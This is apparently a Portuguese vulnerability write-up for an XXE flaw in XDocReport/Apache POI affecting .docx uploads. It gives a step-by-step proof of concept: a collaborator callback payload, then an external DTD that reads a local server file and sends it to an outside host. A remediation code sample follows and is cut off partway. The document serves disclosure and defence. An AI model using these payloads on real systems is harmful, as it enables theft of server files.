
CVE-2025-65482 (XXE)
XML External Entity Injection
Visão geral da vulnerabilidade
Impacto nos negócios
O site de gerenciamento de RH permite que os usuários façam upload de arquivos .docx para o sistema. Durante o processamento, a aplicação utiliza a biblioteca fr.opensagres.xdocreport.document.docx, que contém a vulnerabilidade XXE quando o arquivo .docx do usuário é passado para o SAXParser.
fr.opensagres.xdocreport.template.docx — XDocReport (versões =< 2.0.3)
A causa é o uso do Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Ou seja, o Apache POI está muito profundo, no módulo:
org.apache.poi.xwpf.converter.core
O erro ocorre porque o XDocReport (no módulo fr.opensagres.xdocreport.document.docx) usa o Apache POI para ler arquivos .docx, e o POI usa o SAXParser padrão do Java sem desabilitar os recursos que permitem o processamento de DTD e Entidades Externas. → Isso permite que um atacante insira um DOCTYPE com uma entidade apontando para fora (SYSTEM "http://...") ou para um arquivo interno (file:///...) → gerando XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
Edite com o payload outbound para o collaborator da seguinte forma:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. O conteúdo do arquivo vcspentest.dtd é o seguinte:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
Edite o arquivo word/document.xml dentro do arquivo .docx com o seguinte conteúdo para carregar o dtd externo da máquina wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx e faça upload para o servidor processarD:/vcspentest.txt do servidor alvoNo código ou na camada de configuração do parser XML, é necessário desabilitar completamente todas as funcionalidades relacionadas a DTD e entidades externas.
Correção semelhante a este código:
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);